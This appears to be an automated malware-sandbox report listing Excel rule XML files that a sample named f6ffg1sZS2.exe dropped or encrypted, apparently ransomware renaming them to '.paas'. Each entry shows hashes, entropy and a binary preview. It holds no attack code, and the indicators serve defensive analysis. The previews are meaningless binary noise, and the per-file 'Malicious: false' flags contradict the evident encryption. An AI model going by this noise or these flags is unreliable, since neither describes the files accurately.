Preview:	<?xml..... P..D..:V.[....@...dl.L.O}Q;....s.>..K[...,......>.kV...\...z.R).Wy.h....<....v...?.t ....{..0....}^.36;..j./.5....987.....z............j.jy......Y........0>(.A.K....+..,...;4.z.L.U..,..X..1.c.L.4.,Ik.....T>..i.....?.x.+.Q..y..5-..b...7.'a.V.><,...'.)....$A.........\Pt'.s..#5eX.B'Y..T._..);....c..E.......G.RN.n...1..........%o...0.V.V..IS.$!ZkP..i..I....F....6.......ry...4.xx.T..H9....K.&~..hS{..zl../.H..s%............,(.."i.z..8..e..\.:?d.+..N.Ct....Q..sL;..........C.k.V.<.S;:m}.0^..T(..~...C.Uo.....I.).:/d6..GO\|.!.W.:3........*..lI.A.j..].]\|E.[.'a....'...1:..j8#w.7.\'.^..3......X.5)......\|6.......=2.i..+B..:...r!.G.9.R....C..H.Pu.$:s>3bQ4..G.Y~m...Q....-m..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10801v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.930538452254821
Encrypted:	false
SSDEEP:	48:hXcIzlKVHfgFJSEVAkzNUpXmtRdvbPR/ELpv9YywyMYUoRzI1ed0+b4gYRu9ILUj:hsICfgOEekO1oR569dwfYUoR/d0+b4z6
MD5:	E85D816340E431B8AD6735B94656EFE0
SHA1:	F67EC3A67666FD2495B7B9DB1C967CC8B54745D2
SHA-256:	41AC022B1510ED6CA2CB41AE8BD8C57DA333FBC9AB5DEB59B6AB875B69AC6174
SHA-512:	2DE3E5792AF74E3A2506BF0740CEA6D395E6B6C4633F2E916430DE57643BB6421BF59EE5EB8CF5D23D066A3EDA2E1C307A807DF405C8B9F28E6DB678631CF980
Malicious:	false
Preview:	<?xml.4M5.......&?(1.T....H..d....@.$l..U8h..I...._.....3................D......."e.......G....."..I.)qX..BL...X.X-^.b\..l.Q.gP..T...Z........gw..D...[.b....]........lI..b......H.......[..mw.ki.c(..=.Gf..K.n.i.....[._.......n1].g.Ke!.aT.B2..........V.e0...............?..E=\|...w..R(...=.<+......+roX.&b..7.d'{....D'.5..t.}l.UA....o...@"H.......X.5.....~y....)...w5.....oU..m............y.6..^cm...JS..K..J3...9.8&......\-j...Yy\|.../[.......~&......r..:>.%\QT..=RG^.\|:...Q.#.\|..L/i..p.P.w_...7..\|._~.z...,...oFe.C...\|..."urYr7..N..N..<...U)..n.o....6J.>F...w..>.......7..ce.?E...w...)T.U_.......c..>USA$.O...].\|ed.=kY..K].L.................#:...7>W.....V..i..[...+HU.....1.y..k........q............QN...!.\|...N..Y.x-EK..~D.....<&.l .W...P4...r..&....y >....7}5,.#.L.../.....S.1j..=.d...-...Y\'..(..4......N...!..[Q..z..5,....49.......".\.Z.T..E.f...KU..Bv..;{U/<.......Y.......$..........C.E...T...k.m.N\|..0w\|%*[.(?..MI..C..e.QE.[.W.T.GQ..E.l?X...B..<...e...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10802v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.933302083062922
Encrypted:	false
SSDEEP:	48:gPqgBcwagyZpyy+W3OjIiDhAJaUOF6RgMNY5BLvHRxN4A5KnisePpVlyLa61xLqm:gPp+C0pyy+Z6JSszNWd9KnL6pVly515n
MD5:	9944A6FFD77F3B53BE309FF213C7C255
SHA1:	5E640BE32D16256C70A0AD0C6F011687B7C23E0F
SHA-256:	86F0E1A751ECED6257857856DE1D6AAE97C4AB55BE3737CBE3BAC464FA00F131
SHA-512:	ED9B123C4BA1E983B6BABBE9F5C49520E41F9008DB92583D26DF379C1A0208B294ABC2E3D3AA7A3C153B2029449F7130DBB1B1DA99B5B99B16A893C16D46726B
Malicious:	false
Preview:	<?xml1.A.2...<..l...B]1.J,r..$%..Z..1T.....iv.[?..G. #...kS.....b..J.P.4.x.L.@..9.Jlw.6.kNL..d........0.p...[..'..t.Y{..S......y.T.AJ.d.....JY_x.C...#...gP...)h.....H~...3!+r.K....x.0...~...`v......+......J.).?.:aQ..1../....>.z..C.LS....wB!...@....3.i.r..S.T.k..........B....J...:.opE.$..W2h.+.S...m....%{.}...D...A.....?.gd:....n.h.].:.tz.t.m.M...Z.j2..I....=..~..4`....w$..W7..e.t@..v.....h........).\..Q>$f.Vp.....{..r.}V.d...!.q0.C.#@/M.\..\|.....<..=..d..W.....U.....0u.).....-.. . F..[....J..A.V...Rq...P.)(6...P@.^.G..B.,x..R..j..J....GV....k0.....B.du5....u.q..$C.......1.....A..+.a .8.@..>.......Qn.w.Z....N.\v...l....+...E+....... :....W.YQ.8\s..K"3,...E.R.{...A.$.>...&l/....FT.f.r..jym?.)./...}.h....O.iD.SUT..8..w*ux..`.......j.....V.....Clk4.I..9DN`&!.Q...{...{.x.....@.....t#KL...i.f..S..h0..._....pK....1...:.'ou..-..C..G:i....m...!.k.y.&....7.r.O.b!W..2<.}I..J.;..i1j0VS...#.......h..f.{.-......L..N..@b....B.>.V......g.....9

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10803v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.957153258716057
Encrypted:	false
SSDEEP:	96:wuTduRr6EClg+Iip/3aBOXxATmRjGBHxqjWal:wuoRXCl3p/KB+xdRqBHxro
MD5:	F664E85F38F1652F94B039017BE249E0
SHA1:	18FB0AC4119EF11B72561DEE8E1E1625D20BDA38
SHA-256:	8A2E96A4F4F78A5C1D68603411A77FE8DD15A4334FD8DAF3D8EA9E2C5508B6B4
SHA-512:	AC8A975E95B64D0F83BCE307B9B55A7374320479320D061367F501BB171F18DB93D56E50327D5E9A638EEC99CEFFB16011BEFB74D53A67CDCD0A7153838DB494
Malicious:	false
Preview:	<?xmld.8....9q><.%:.O+..XI.....".......8>.y...`.5...Q^D.S<....^..q.i@...p....C}..._2>.'...H.b`...v..`.(,..m....D]{!.R..~...Z..v.0..3j.....r.u..i=.;.]..~.en.Mf40Pk...j...\zz.x.e.O..h[j..&.....;5......6s.)......O.;..s....y.t.h....:.O..:......1e./....y."..4.....U..2.......f...I...>}E.\;....nq+.....y.fr...C/ !H....~.d.Er..dy.......SX.......~...G.w..J...=Ub.z..G..,..}H0z=..Nj5ega..$.Y....t...g...\|.d.}._.=...@...k.v&E.nS.M.n...?k. ...O...S+pJ.v... .}.P...I....1].R/..k..\oE D"4c.Z.'P...A.G.....[<4F..U-..R......I..&..?....!&...5....o....`.._.G...7=\T...p..y..Y..Y.."\$C3......N).i.^ ........x..eu#......8.89..8..%.!G.QE.h.pmE.l.......T.p .i...VH}a..C...]..hm.N....UX..2BO.....]..sg..qy1.^RQ\|..{7..~tc...........<d...`.#.........~...m....i...9.5..#s.>....K........D.x...$X2....\|....S..WQ.[...h3..E...>...0.........@..^.T..`X..lk-y....1.(#.2.../.......(6.q8.:.q.\.c...5.Z.$1..}f.5.hG.8.K.>.^.kaMC..?....D...J.r.#../8...+?.$.o.g.J.#........K.-...!..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10807v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.858457295484514
Encrypted:	false
SSDEEP:	24:0N01Hq7mDTfDpNlGkWMrZcdjugAiZcicRfUKypboljYKEl4U+uuVbkCC6qIbD:0N05qafDpNQkWMrZclAYc/RfUJoljYNq
MD5:	299010B9C3D5B942BA7B12C8CACBCE7E
SHA1:	7DCB9869298FC883F117BE1655E3F14ACF112D34
SHA-256:	E2A3033B0E1D2D2B2E5F685D95164AC7497248DDC4613222262B9B34703F6C01
SHA-512:	09698FC553CF4B571AE7408A60C8EA1EE553252F36B6364E43BC303AD468CD29A6E56BDE32D8AE40709AEDA1FA296F6691B11EE8F7C0B493BBF4C3D7DCBA9B75
Malicious:	false
Preview:	<?xml .C.W.]....2..5].&.....)Z...sa..._=.......~.6Cf......r.~\S..a.C........v.z..7R.r{.w...1.m4..(6.."r.N&.\|.g.cuf>.....G.?..P).IF!@U.px..u&9F....+..R.E.. ......c....`2...D...\A.....AAw.G.J../.M...m.8..uKBf.i.9...3..\|..$.x.W....Y.@...;(..b...[..0.,O....d....[..6...m....8+.......j......:..)..b.._"..z.H.O.....X.J..d..-.in.;./+pi....Q..Z"..J....:^c...C.....(y......V....E.$............-.\|..+......m.....WD...U......R1.'...GZ....y...F-.-@2..k3..`....U...n...H!.5.v..X.".....[..\.g.XX.)6\VQ}P."-s......S...h..{2m..8c..u.r...P.......\.c....P..-p..6..p.u.j..1.)... ?U...\|.'....Yu..^:....y..:.. .n5)\|%2f.v...-...d...zh.....`e\z0....r~..z.n}.T..y.n><6.#.Q....{.B&.a.y...7...;z.zaBzx....(C.Y.G.q6.JN.>...y...p.........2.?S:"F.^...0....q`.0.....p.......<4)..D~R&.....Z...z...$.w..YP.......<.=g..../.UL%.,..1Aw./..1...a.?..qn...o.O?#S\|.&H.Hs9.]....t..q..>.>[...).".[e....k...c..}...>..>...I......8.z..h...6m...cB.W.X V...]..Z.pz......:...5....WP......ZaK..\qA.e

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10808v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.874902852935144
Encrypted:	false
SSDEEP:	24:8Q8lp+bDrXd0jE1yYjtUcd9481aqIMS+8/1nkTzGmfFmqCSZPqy9BEfCcq6LHnbD:8Xlcmj0/y+ax/1YfCSZDOJHbD
MD5:	A1071794E85C448724EC6692CAE09A2C
SHA1:	FFCCFDE85C6ECFFEB21699544E0649492F0E9534
SHA-256:	3B09690613656438C8791BCF1539D854871FA19B4E5950E7AF997A43528CC18A
SHA-512:	FDB6750D72FC33C0DD6C01BA731974622676A5B4DEB15BC3B7E270513420B76E1EE1A9006B2A41943A55F9E136557CC3B2E35A1CA19358051FFE5E540AC17E84
Malicious:	false
Preview:	<?xml..QE;ym!.D!..#..Rv.eYG_Z.2..=...#...v.=7^b..vb~......uf...Z.jT....gp..g......}.r...0..X'[c.S.....'&.yU.......v.[)...Q..r+e.V........#..O}C....m.).....`]W.t.x..[...6.S"...U.xv.>..}=?....dN#...k.S.L...)..h....i....;O.....>:+......N+.....9...[{..Yi.f.L..q...Xo.....0..V.8...s...`pT.dy...4@J.S..=?A.........K[\|x.._.A..D$/..K.c...a............jfWNi.p1.@.G....v.......A........a..1.`.n^.p>..4r.c..\.+b.....S......Z7..h.~P'.G.<.S<.(\|4...1.;..^^........3..A%\|.6.i...l._...3..(..p........pe..$^.n......l...O.._b.............."....k>K.l.2..oUS....\,*......(...?~....b.6.4z#.;[1.dYn..G.-.R...3;<Y.d.qF1.=.l..b..,.Y.......'.8..._XcL.k2.........6...v$.7..-.[.^W..4.u........M..........,x.?.8<Z'K..B....k.l.I.i...`t.e.7-..v5....H.K....k.....V...j).{}......I@R.........p,.........r-.k.t.t....].....D...u.P...9..]`:....w..kX.S6.P.............:....9..rY..W5. Q<i:~.pV.~.-..y>.....<....!.(...s...B.O.J...R.'.oh.....D.qC.O.y.b.OK.g..=...l...eQS{...L...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10818v3.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.835495501690885
Encrypted:	false
SSDEEP:	24:N60eR2+MSzUR3n4HQ59gQqCqlScuBPg27+cGHD0iGPobD:N60eR2czURf52QYKPx7+XHD0izD
MD5:	52F22A1F9EF8F23FA6F362C2C9DB9EF8
SHA1:	1C3BA2F1E89A97F16807A22AFF271D89735D2640
SHA-256:	4F96369457A4B5571AA06FA634ED21AAACCE3B9BB23708D4FE8E3C65A1630490
SHA-512:	48E5058436FB795C3D20CBE531E4C04FFEB6162637AAFEB1DB2DCD900FFB56994D657F4446CBF22AF79CAB351BC908260A8D0F91C6F4B60B907D30CACE1F800F
Malicious:	false
Preview:	<?xml...j.....Wo..t.. .h6.I..5....%wuZ...'.....]...K\.s....6f..$kT..~..!cO.......T.vYV] ...y...m/..hDrp/.<..Y..!G.Mj^.k.@..).e..XG..u?+.......B9".\|...,...^...\|..........)H.......%.rD.n;@....j...}.Lc.$..kYW.....^9..fl.L.Z+...............P.V...C.6(`n@....k.S6.X-.h......fi.....5'Q4 .;..u."....oq...3..;..Z........%k)dA.}.i)%..,......0..>.....G.l..Q.f#....Cs...g.~p.S./e.^.:....o.bic.....S..I.).....R..{.w{.b.2!....c.......4T..vld_.$...K...!./.G9.G..0$..81....c6y\|..?.so..W........T.!.aj.z...S.Ft.[..\. .1..I..S.n.4V,..m..\|.v.".r.Z..v..&..)s.{..\..DG#.c5...:H.i.8Q.m..B..V..I...S}.\k.9.9e..2u.\|.:.=Y5.[....F.p.4YkT.?......L..y...2T3..X.m~..QR.....L_..a.~..G.y...\UR....I.\..0..H.I5g;j.~ry....n....ct-!.......E..-...T..m...E.P[8..q.r..vj..E...l\..FS..:.M..32....@.Y.0....O...."!...^..P)..;V..d....~.>v4.3...c....S..+...s....F,..?.$...v.C...gI..S.M.....\..t..A_....p....._..=.O...s(....&..<..h..v7\|...vr.n$...F.`m...xQ.{.'"....rD!.f...ju'.T.;..{. k..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10819v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.980911913736437
Encrypted:	false
SSDEEP:	192:SV8Okg3jw5vjZJ/OD2uZG/ceNcvJ3Pm+6I3PnsCQm94qw4uCeqDx2DRN:5+3jwhjz+xeKJ3Pm+6I/bV43GeqIN
MD5:	797C35D95083F1114859CC5C82291694
SHA1:	0BB9CDFADAECFAE4CCDBD13E237D9C07249B150F
SHA-256:	17A3C6BCC3BFB72ECD37308AF31AE452C0B9F76CE32BFB22BDDE68A8D6CFC3E4
SHA-512:	DDFBF69D1BE845F7B210AF68C82F491E8ABA44DA9B36656F55EDDE9AF069E32B43B4B2E1C8BD42579709ADCC7274625BC50B824E9AB6DB1BB6576DE819BB22DB
Malicious:	false
Preview:	<?xmlf.)...!D.:.P..$He.....?!..HE.b......4.e.7m...m,.d/......=..bo.~...p.%..2.$H....N...;......3....%&......~.!.-......GH......_.u....X}..m..s.....RFL.#..&..,.....s...m....4..c~..s.l..)'.S.i.}g......~...E.......g.w..~+..V......;."Gp.j..w.&4H...Y..].(E...3.0d.LK....).._..Q..`i..5..P.X........6.......^=...4\|T.,EJ.N.O._......L...v...T.:M....^dAP..T..l.kQ.^.>V...Vc}.F..'.....;.{....."....Y3.8..;R.S.T..,...k....."Q"...?...P.s..9:..%.....?..3'.j..].......9.q.gq.&...`.n.1...N.K.....%.F...p... .=G..R......;...g....j..`..$....@.h3...?L..)Y..,..@...<..v.3.T.k........qo..o.%...t9..4....Q.@....)../".?3....6.n...E..^..)b......:...x).h...t....v..=}=...nA..z...hpI..\|e..d.Ud...XH..D4.5^vVN...<J....i.y..S..".eW..)>.....j..).v.....>....V....R./.uE\|c..^......._.}fK-.d......\#fgJwf..vA@(..K....>\|J.~NyR~...7g..:(w./8_x.I..]R].z......0fj%.L..............)..<DR.^2.\...{hxn..M.o..}L[._.qD.......l..`..H%.No.w...{..........1..;...;.<......Mkv....\|..U...0.........

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10820v3.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.966871370465211
Encrypted:	false
SSDEEP:	96:vB881DdxLmq5F1upAb1bIKw/bEXwDJ8ILLrH/vVwAmrnel4B+vx12L:vr0q5SSbdI7DEXIKIfrHpmNMvm
MD5:	4F7C390F5B0A719E43791FD109BE183F
SHA1:	442FBDB5A05836ED0EE897FB22E0C1859BA4F67F
SHA-256:	D9B8E111AC6EDFF843D5F1E6529969E366D957D29676EDCCBFF86808745A9240
SHA-512:	A0700856AF951EEBA7A8220D5F486863161B4C94C790CB270B27D7444A36738D36109B465492B809947B4266842B0168BCF53C4586265CC18B4186D4B3C77DB8
Malicious:	false
Preview:	<?xml.?.x~..^#.....+.p..z...U\|...d.-.u...h...H........ .x&.....:.^..\|8..t...:.....:I4.....\...s.....'l...U..D.r./.&..;<st..].......W}..d....GMR.WHGE..s..g.KI.._B$0.z^`....C.:...+....]K&........}^R.}.i.76.njM....<.(....`....l.0. i.$.BnS.....q9.........8(O.V........: c&zX...g...Zt.........X.E..e.C..J...`.....B.YF...r...:.e..:p.f...w&.{...H...GY>...W.s.].r..#......:....W.....k9o.\./^.3....h..e...y.}.NS...d.<.k&/oq....:...........3.\.&.m".b....G...W.)..{.f/..?............m..Z.H0..4m..`L...C.....8SA.1..d.\J..........U...m..\C.x..A.UL..l<.#g.>...I....S/V.!...9.....zVw..(d.e....F.....?]...`$....B.\|.8..L.%.i...E.8.;.j...-'..Mz.g.....J....G-.Wo..^.#Y.~!.-........t....0...u..ik".63....3(I.u.W...z....?n.`............u..n.."........k.......P4FI....9+F6.c..T.(......!-..MZ..Jqi7N..#.....be....".....U..Ce...Z.Uv...........}...y..p..{%uO.0v.CpDso,..Z..dA..~.<........#'ku...... .V..<...i...1.....)n2Q..T...)...<`3b.a..\|...Z...DM.....V..A...\...W...Z+.0

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10821v3.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.960035654971384
Encrypted:	false
SSDEEP:	96:eDNrkagefJXwr6kNwrvSlyIHwLUF258+bGgEE+tvd3JwT:sNoagefJXwr6kNq4ybS29Pcl3JwT
MD5:	4AB487493C512A49BAE8BA0885A1A6D5
SHA1:	89107A00F547429289D50304046D67462D396826
SHA-256:	A8D7D2D5FE65DED9978544707F9CC6A7E66CCC06C426DEE6C945C74E6516460B
SHA-512:	7C21FD3AB23757F4446728D0AE7C2CD37A3C9909DFF66D92FAD7ECA67ADC7730648B4BE9B988507089CE66102A3984EA002EC57ED60F5B9773167060E36489EF
Malicious:	false
Preview:	<?xml@(..z..c.9V].L..E.....F..7...9.:T..B.LD.#....v.Z.QLc..}....s....i./.":.0\...6..1\.?..4....U.....^..F7q...<..5..fl!~.2........YR.M.+_q5.yN........L>...o=....$66.7...,..^v..v..+.r)....4.N.w.&_.Gr...s.`.._a`...g.x.v...}}e..l.R=.0Dw..%...J....Q,SY&......(r.^.......R~.9.A].......$c..4......f...}.....s...aU...8.xa\..:..#.E3h.l\|...o/.v.z....1\.\|..".F.EB.o6A.N.......A.)....m.d..]..[.....ak..m.I..._.A-c"...7..DL.=.A...#...........]yL-`)..TJ0.q.. .N.D.W.G.../.....`...A.j.S........"..X.ho...b._.e.&...Y'5.?@.)...i......^.C.W2..._..rP...2.X...?q...C..K:&.W x]..eU.N.`...@.C...jX..7...-PM%(.....6...!......7.?4..`....:..a.Um........v......WD9.CC...6.N..c..N.....H.......E.........8..av.GC...vD.2..V...Lf.I....7.V..JY.wm4.o#.......Q..MF0.R..axe.....}....e..%N5.XI.D...Of...1....!..3t[T.JS s-..`....J.U.9T...u..X....#......}..@.i"..}....f...F..4....3....>~.\|.....>?..t..$D\5AC..(...u.OI.).8d..r.%...y.......G.7(......"".V...I[\|...w.......6.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10822v2.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.955989251941198
Encrypted:	false
SSDEEP:	96:ysRKOSIjZnASjKUVSNs7N2lKduTHmtfJgUj5BPvrYcVa:sOznASjKS6DTmtxrjnvrY
MD5:	494AC519B354C573287593766A25681A
SHA1:	F99CCFFCE13D97A37A07F7652454F4ABA49E8D2E
SHA-256:	CA13A99446A3914F81996B5799AD9A521E2C6A0FDCBC4A6809A0B67878ABE4AD
SHA-512:	6FBB92D1B5F6883A1F89FA3235385CED34A850A0933CE251C7C48BBB15935AC4D824985B2609C50C749F681E919DCA1DE4E58AAD484920B1CC3BE0FE0DC66F53
Malicious:	false
Preview:	<?xml...;uWY.......&...{"......z.._k...v.........7.#^.4......8.M(....q$1..%.wS...r.rl.....f.[..g.^4Tfb[2E6..#I..F..84.v(@5.\N.....E..,&. .D..Dv.h..M..".?\.U.R..kH..Mo",MbH...2.d\.X..y.d5..&.$_....uC.....@U........_....--As(....lO.s.=$m./z_..Z....5.=i...r.Ug...&...B"_eM......>N.Al...#5..T.T......}.n.f.&..V..-.(.@D..e.:..Ej.d..S..V.S./..-.r2#i&<....J@j}@...z\|H..k...l..o..4w..fi.g~.!J.8p.......D.@4..&.()A.zF..O..!\|..Y9...).r...y.#..".n.dvM.[.(..5.A..b.:...y.N...M7.l...4......-..^....E..._1=.....\q..}.R.A...i.Sn..=..(..#...9......=.s.0...,.,^.sIYkC......=...#.X....T.].....F..p1D...o..yD/?P.L....H...r.m.......bDK..D$...} 0<A9..-({2..0...;..s.)0o(.vj..j7..R..mP...[!.}...#.N..`.9m(..fu.dn.~}..@Us.....?.. .sC.....t7}.. .+.S%.5...........e.S..Gw,...q.ws^.EQ:(l.\m3.LS....?.w...{%..0......K...cu....T.@.bX#.i.F...4a.@...8.P.4.....\|@....K+...%.u......i.1......v...h..#9Q..E$g....O...P..1..^_.3)!..u.!I....5..s.)...\|.W.L..m....{(.W..;..L..o.\..3......8

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10829v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.934457404559059
Encrypted:	false
SSDEEP:	48:GGKiA2fS6qv5zZK8vB9XUv3VsjSzRpg4V962VBzdHNYwvdAeCz1VTYyD:GiAp5zK8jOVop4e2VBhW+dAeCpVTF
MD5:	F68932F582CE537B6C02D2328D730265
SHA1:	42AE7E820EDDCFEA85FEB20990DA49F4A86E4E84
SHA-256:	51AE553510F8533D43B58DC890EDBB5B162F18EE28251B809ABC5C91561BDAE1
SHA-512:	7F647013B68BC78040909FBA40FDAA6B320147BF4ABA66B530967F6996683736547B14127013481EA5EEBC271FDBE5946BDBF5D78C8164088A022A1D1E94B371
Malicious:	false
Preview:	<?xml..f../..........J.09-....u....=J.J1.........P........+....}....Y......V.Q...D..DW..v....c..?V..!....WtA...j.Sh.v3.N.u.O.T51...](.O;J...W#......n."..SYZy....K.l......%.Z..Zczb}.ku.-.g1.KaX.E.>.Y..#..9...$.O..K./.H..T.^.....q.{B.1.l4...E.[x..Il...t..N4^.<q.E@+..cQn..>...!bg..V...\-_.z~..R......0..../...kN....Xj'(...[.T_. 4.\/m.HT%...4....#....mM....:..T....+`.........]R..H_..../.....l.y...H...^....v.3'c^/...c.lz...!...!.:\.Y..Zz.A^....k..u2x....%...Fr...pw=.Q......?Fi!.....A.\|}..%..k...om.......B.m........<....oK...2..K.[.....}..".....-..;..N7{..\.clo...o..WB...<..;.+ .r..ng?#....{n7..{.R.).....L........z...8..u....=..b.&..:......uzdv.....=Q..j_v...9d.r....)uZ.v.E0M.l.@......b......L..4...4/.ele.$G.YQU]....gpAzb...b.Q.{.<.._...j.-.lmUyc..[..J...^...IP.R..P%zN.;.......\|.>J.x..=..F..s.....).f..4."O.^...0....Jy^.....S.vK.CV4G......'..5.(...Bx...`#"._M.......}3..6.D.w....sP.x0(?.h.6.eIKe..`V..G.+.u....QgC..K(.{6..&

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10879v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.734291470667206
Encrypted:	false
SSDEEP:	24:WD/P2JoAZ+mId16WP1P/I5OfYAqBY1EWCupbD:M/P2J6mITPcSgYAuJD
MD5:	F53E634E2211812B8EEAB8182CB8E56B
SHA1:	2F7985120A889E7E912F917B057410A3B032934E
SHA-256:	77AE0B45F80AEE5817622B2CFF3F4BCA3574F874659770A855785FE8CAAC5567
SHA-512:	1B16AEC78D8071999C1E91DBFD9026708F6B96863499597F265E1F2CB96E46CDB951525BEE7CCB3FAB186211626EE67C5ED8844BBD9D1583595F0E023AA55B0A
Malicious:	false
Preview:	<?xml...".D.[...}.Oc..Z..[<...{.....C.{..l4...h..g7..PJ.F.B.>y1.EA..U.6&a.@g<\..+!......!.`.F58.'>.+...vPG.9.K......,93.Q....".......h.\|..$P\..Ou`..`g.b.M.x&...dX.s"....!\|.p+s.~....3...=:1\..y"......{..#.y......5...=x...{.". %%.,_.....BOZiRnUO.g.\.......d....?#@Q..b4.n..V....m.6.k..C.x.Y.p#.....Q..v.v....)@...`..c..q!....oF...........Ie...q..h...6....r...Y...-..Z......Tr;)1..{W..M#(..0.~!.H...8......'..1O..sFi...+.......xy.e8E..........:.Flr.#...........le.O...x..Oc.e.V.cf.C.*.V<.o.k~=.)..>..:.x._.C..\.P...z./..[z;R;.:mP."..Op..e..._Fj...<V....8...}..(:$......&.\...#..q....O..E.p?.@...0.qGG......Y...;....Lf..\._<...E.M...b..;.n.P2..~...W....1.VZ...Z.."zi..D7........LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10880v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.93551481601692
Encrypted:	false
SSDEEP:	48:wg348wSIhcfaiVuJ76/KUPLp5ZiDXHY6MgaHRzLPxAjSnyyVQpG6EK5Q5D:wG48wPkLVI8zaY6MvHRHpAj0yyVQpkKk
MD5:	7C17160B9640B8722A45607F10E0557A
SHA1:	853A69B9402AC5F2F8AACD3079AC05DC90739870
SHA-256:	40EF98D0860F02ECFED1B72A54D412A885562A5602CC7379A397E23F5E0EB5B0
SHA-512:	101BFFAAA85DEB914DFA2D1F47ED7B0DB71E3267E288453046B71B65F8A3459353EF0A036B0F8934581918FBDA23AD65DFB838918CCD668B0DCD769BED5BFC91
Malicious:	false
Preview:	<?xmlMZ.".X.Zb..uNI...].8`...G.?whf{9p.K.%......!H.$i.....RJ.L.Ws......"1...['7.q...'{6.v..;#X.J.....=>.u\R....1N.P...%.H..nF..c..Y..........!.<........I..o...2.;C....W9.J.w.jR....kvw+....S...~Of@.".....1.f~j.t.w..]\.RE.j.w.....`.G`.&s.'-N..d.M4..u.xjL~I..._.+.....@.."...N.e..L.m..V.^.{.}0I_B.+M.....X.....G...0..J.A..\|..{..o..:.`.Y..c....5.#..K...:./M.......C.".`..lZ..P.2=z.;....Pf.x...(...~K8y..o3;$....Aq.p5O.l.B$E.z"8MUB.o..9yq..y/....F....pD.6R8......0....$T..D........H..Q6.#.4gq..d...).:=......N........KJ.<...3....<?..-.K..&...5p."k.`....j..._.S....b.....~.w....4.X..;..^..T........b.\..9..db.O..o..>...bL.....g.4.A.7..\..{y./..{..:.~-0{ ^..91^=g(5......$D...m..<....%.z.W....B.....m.3.5......_..j.......D..".a...6...k..$....tE.L.-..CusN...)........Q..dq.R.+F...l......q...y.O..Z...61x.(..z.......,.C...}@.t^.C..]Y..3ldZ...........N3k.q?."&.....z...Y.M..<.<..X.A^..R....y....l..Z...U.u......N..".]@.$%oo..s.o.CA`'k...iK. vq.g.. .

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10881v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.726684922399069
Encrypted:	false
SSDEEP:	24:UayOuZWfjADpVZpkYHw2PyoynMZ8raoiGbD:U1RmADpVzkluyfnMWaoiUD
MD5:	082F2975B0A9A694C678EA416B829788
SHA1:	19FA0F02B8D95160D5307A85AD8DC36A39FE7F6E
SHA-256:	3DEDCE1C97DC33B7477F40C55278457763032EA24970202DFD66E82667D1CA77
SHA-512:	33112E2FA8E049D1241518D66ADBFF55C8B33A8BDA16510609809A908216069F8A7A6EF355A05A7010158AC1A8C6DF7E203931374D880867AA21DCC22CFFD878
Malicious:	false
